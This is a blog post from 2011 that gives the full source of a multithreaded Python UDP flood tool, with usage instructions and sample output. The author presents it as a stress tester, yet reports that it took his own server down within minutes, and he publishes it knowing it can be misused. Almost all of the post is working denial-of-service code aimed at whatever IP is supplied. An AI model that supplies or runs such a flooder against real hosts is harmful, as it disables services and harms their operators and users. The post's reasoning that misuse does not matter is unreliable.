I made this script to stress test one of my servers. It turned out well, too well. Made the server unusable within 5mins and the ISP sinkholed(null routed) the IP within 10. So after finishing it, and testing it, I wasn't sure if I should publish it, in case some script kiddie learned to use Google. However, after a lot of thinking I decided to publish it. Since it was so effective it makes a great tool to stress test your servers. And the script was never created with any malicious intent. So why hold it back? And there are already a lot of UDP flooders out there, a lot of which is better than this one. It's not like I've made the only one in the world. So if any script kiddie without honest intentions wanted one, they'd find one anyway.
The script only uses standard libs, so as long as you have Python installed it should work out of the box. It supports, as the title says, threading. You're also allowed to choose your one size for the packages as well as the amount of threads and so on. Since the argument handling of this script is utterly shit, you need to define all optional args if you want to customize any of the default settings, such as port, packet size or threading. Because it reads every argv from left to right, so it expects for example threading to be argument 4. If you then would define the amount of threads, but skip, let's say, size, threading would become the third argument and everything would go to hell. You can download it here. And now, usage.
Not much to say really, most of it is explained above. What follows here is the usage output. I might also add that I haven't added any SIGINT signal. So ctrl+c(^C) won't work. When you want to stop it, I suggest you press ctrl+z and run killall -9 udpflood.py which should do the trick.
phone:~# ./udpflood.py Usage: ./udpflood.py IP PORT(optional, default random) PACKETSIZE(optional 0-65500 default 1024) THREADS(optional default 10) phone:~#
As always, below is the source code. All standard libs. chmod +x it and fire away.
1. #!/usr/bin/python 2. import socket 3. import threading 4. import random 5. import sys 6. 7. ############################################ 8. # 9. # Author: sniker 10. # Contact: irc.eth0.info 11. # 12. # eth0 will prevail. || irc.eth0.info 13. # 14. ############################################ 15. 16. class attack(threading.Thread): 17. def __init__ (self, ip, port, psize): 18. threading.Thread.__init__(self) 19. self.ip = ip 20. self.port = port 21. self.psize = psize 22. 23. def run(self): 24. print "Thread initiated, flooding " + self.ip + ":" + str(self.port) + "." 25. sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 26. bytes = random._urandom(self.psize) 27. while True: 28. sock.sendto(bytes,(self.ip, self.port)) 29. 30. 31. if len(sys.argv) < 2: 32. print "Usage: "+ sys.argv[0] +" IP PORT(optional, default random) PACKETSIZE(optional 0-65500 default 1024) THREADS(optional default 10)" 33. sys.exit() 34. 35. try: 36. threads = sys.argv[4] 37. except NameError: 38. threads = 10 39. except IndexError: 40. threads = 10 41. 42. try: 43. if int(sys.argv[3]) > 0 and int(sys.argv[3]) <= 65500: 44. psize = int(sys.argv[3]) 45. print psize 46. else: 47. psize = 1024 48. except IndexError: 49. psize = 1024 50. 51. 52. for host in range(int(threads)): 53. try: 54. port = sys.argv[2] 55. except IndexError: 56. port = random.randrange(1, 65535, 2) 57. at = attack(sys.argv[1], int(port), int(psize)) 58. at.start()
This is what the output is. It just spams one line for every thread created and what server and port it's flooding. This example is based on simply only providing a server. All the other options are not defined and therefor default. So this will be 10 threads, random ports and packet size of 1024.
phone:~# ./udpflood.py 127.0.0.1 Thread initiated, flooding 127.0.0.1:6541. Thread initiated, flooding 127.0.0.1:6191. Thread initiated, flooding 127.0.0.1:32391. Thread initiated, flooding 127.0.0.1:45977. Thread initiated, flooding 127.0.0.1:30265. Thread initiated, flooding 127.0.0.1:26957. Thread initiated, flooding 127.0.0.1:32343. Thread initiated, flooding 127.0.0.1:39565. Thread initiated, flooding 127.0.0.1:51667. Thread initiated, flooding 127.0.0.1:13627. phone:~#
sniker[at]codebase[dot]nu
Updated Fri, 17 Jun 2011 01:33:47 +0200